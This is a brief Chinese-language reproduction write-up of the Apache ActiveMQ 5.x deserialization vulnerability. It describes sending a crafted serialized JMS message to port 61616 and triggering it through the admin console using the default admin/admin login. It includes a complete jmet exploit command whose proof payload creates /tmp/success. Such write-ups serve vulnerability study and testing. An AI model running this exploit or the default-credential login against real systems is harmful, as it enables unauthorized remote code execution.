概要
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
利用过程
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面(8161端口),读取消息,触发漏洞
复现
使用jmet构造反序列化对象
payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 服务器IP 61616
进入管理者页面(弱口令admin/admin)
触发消息
ls /tmp/
成功